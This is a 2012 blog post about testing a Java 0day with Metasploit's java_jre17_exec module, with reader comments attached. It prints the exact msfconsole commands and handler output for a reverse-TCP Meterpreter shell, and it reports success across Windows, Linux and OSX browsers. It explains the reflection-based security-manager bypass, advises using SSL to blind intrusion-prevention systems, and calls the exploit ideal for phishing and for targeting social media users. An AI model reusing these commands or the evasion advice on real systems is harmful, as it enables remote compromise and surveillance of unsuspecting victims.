Monday, August 27, 2012

New Java 0day


In usual 0day style, a Java vuln is available that works on both Windows and Linux as a Metasploit module. I wanted to see for myself. The Windows 7 client didn’t have Java enabled by default so I have to turn it on. Keep in mind this is just a VM I use for testing, not daily use so I don’t have much reason to turn Java on. The Windows 7 exploit worked like a charm. I did 10 tries and got 10 completions. I used the Meterpreter java payload (java/meterpreter/reverse_tcp) and everything worked perfectly with normal security settings. Here are my commands:
msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set LHOST 192.168.1.146
LHOST => 192.168.1.146
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.146:4444
[*] Using URL: http://0.0.0.0:8080/WnYSrT
[*]  Local IP: http://192.168.1.146:8080/WnYSrT
[*] Server started.
msf  exploit(java_jre17_exec) >
And its raining shells:
What it looks like on the Win7 machine.
Getting Victim information with Meterpreter
I tried it on Ubuntu 12.04 Linux that is fully patched. I had to remove the default OpenJRE and then downlad and install the Oracle one. The install took longer than the owning (https://sites.google.com/site/easylinuxtipsproject/java).

Getting Linux Victim Info
The Linux users view is much like the Windows user view.
Another 10 for 10. This is a high quality exploit that I expect to get a lot of use out of! I tried it on OSX and it doesn't work out of the box completely. It looks like the exploit is getting triggered but not getting a shell. In the process list you can see a shell being started but I can't get it to connect to anything. For this, I also had to update my JRE as the one installed was 1.6 and it doesn't seem vulnerable. 
UPDATE 8/27/2012 2:20EST:
This exploit works on OSX if you are running the 1.7 JRE. It wasn't working for me at first because I thought I had updated it but the browser plugin was still running 1.6. After fixing that the exploit ran fine! I tested it on Firefox 14.0.1 and Safari 6.0 on OSX 10.8. The only weirdness is Meterpreter would show any processes and when you run a shell you get no prompt. I first noticed these oddities when I wrote the Apple wireless exploit and burned a ton of time trying to figure out why. I just learned to accept it.

So to be clear I have tested the following operating systems: Windows7, Ubuntu 12.04, OSX 10.8.1.
I have tested the following browsers: Firefox 14.0.1 (Windows, Linux,OSX), IE 9, Safari 6.
They same exploit worked on all of them. The configuration I used to test would be caught by a IPS with good rules. If you just enable the Metasploit built-in SSL options an IPS would be blinded to this. I have tried two different desktop protection suites from McAfee and Symantec. Neither stopped the threat, but then again,, they really aren't designed to. This is a perfect exploit to use for phishing, or target social media users with.
My Safari version.
Safari looks as bad as Firefox in this case.

Getting victim info.

Shell Weirdness.
 UPDATE 8/27/2012 3:27EST:
Here is a BurpSuite view of the Metasploit request. As you can see its quiet simple. However if I were attacking you I would have this SSL encrypted. Network tools can't blacklist an app that they can't see.
BurpSuite view of the Metasploit request.

Also despite some earlier claims, the vuln does indeed work on Chrome. I tried in on Win7 with Chrome 21.0.1180.83.
Chromse displaying the now infamous "blank page"

Pulling info out about the victim. Chrome is the only browser running in the process list.
 UPDATE 8/27/2012 3:51EST:
This exploit is awesome. Its not a buffer overflow or anything like that, it uses a flaw in the JRE design that allows a Java app to change its own secuiryt settings with reflection.

You can see the Metasploit code here.

The init function first calls disableSecurity(). disableSecurity sets up a new security manager that gives an applet local premissions meaning it can read, write and execute to the filesystem. disableSecurity() will then call SetField that will change replace the exisiting security manager with the new one created with local permissions. The Metasploit exploit uses the sun.awt.SunToolKit class as the victim of the security manager switch-er-roo. sun.awt.SunToolKit is used for drawing guis and such. This is nothing strange for a Java app. Once the app is run and the permissions are changed the applet is free to execute the Metasploit platform independent payload.

This is as about a bad a bug as I've ever seen. I am going to check 1.6 and see if it is present there.

11 comments:

Anonymous said...

Impresionante...
Gracias por la información espero y hagas las pruebas con Java 1.6

SaludOSX!

Anonymous said...

yaaariba!

Anonymous said...

Did you report it to the Java bug tracker? If so, what is the bug ID?

Unknown said...

Doesn't seem to be vulnerable on Java 1.6.x...tested the Metasploit module but it seems to work on 1.7 only...bummer! :) 1.6 and 1.7 vulnerable would have been just too good...

ba san said...

These bags will always remain in style because of their simple beauty, materials used and brilliant detailing that makes this bag worth every penny spent. Another reason why women prefer these designer Lanvin handbag is because it suits every woman right from teenagers to women in their late 40’s and even beyond! They never look garish or out of style even for the youngest or the oldest woman who carries these Lanvin bag.Link : www.lanvinhandbagstore.com

Anonymous said...

I see on www.java.com, Version 7 Update 7 is available (at least for Mac OS X), does this address the security hole?

mrb said...

Your github link is wrong, here is the correct link.

Anonymous said...

How can I use a custom payload?

Unknown said...

According to an analysis conducted by the AV-Comparatives test lab on behalf of The H's associates at heise Security, less than half of the 22 anti-virus programs tested protect users against the currently circulating Java exploit that targets a highly critical vulnerability in Java version 7 Update 6.

Only 9 of the 22 tested products managed to block both variants of the exploit (Avast Free, AVG, Avira, ESET, G Data, Kaspersky, PC Tools, Sophos and Symantec). Twelve virus scanners were found to be unsuccessful (AhnLab, Bitdefender, BullGuard, eScan, F-Secure, Fortinet, GFI-Vipre, Ikarus, McAfee, Panda Cloud Antivirus, Trend Micro and Webroot). Microsoft's free Security Essentials component at least managed to block the basic version of the exploit.

http://www.donotcrack.com/2012/09/only-9-of-22-antivirus-block-java.html

Unknown said...

According to an analysis conducted by the AV-Comparatives test lab on behalf of The H's associates at heise Security, less than half of the 22 anti-virus programs tested protect users against the currently circulating Java exploit that targets a highly critical vulnerability in Java version 7 Update 6.

Only 9 of the 22 tested products managed to block both variants of the exploit (Avast Free, AVG, Avira, ESET, G Data, Kaspersky, PC Tools, Sophos and Symantec). Twelve virus scanners were found to be unsuccessful (AhnLab, Bitdefender, BullGuard, eScan, F-Secure, Fortinet, GFI-Vipre, Ikarus, McAfee, Panda Cloud Antivirus, Trend Micro and Webroot). Microsoft's free Security Essentials component at least managed to block the basic version of the exploit.

http://www.donotcrack.com/2012/09/only-9-of-22-antivirus-block-java.html

Unknown said...

I don’t think so! It can affect my customized web designs?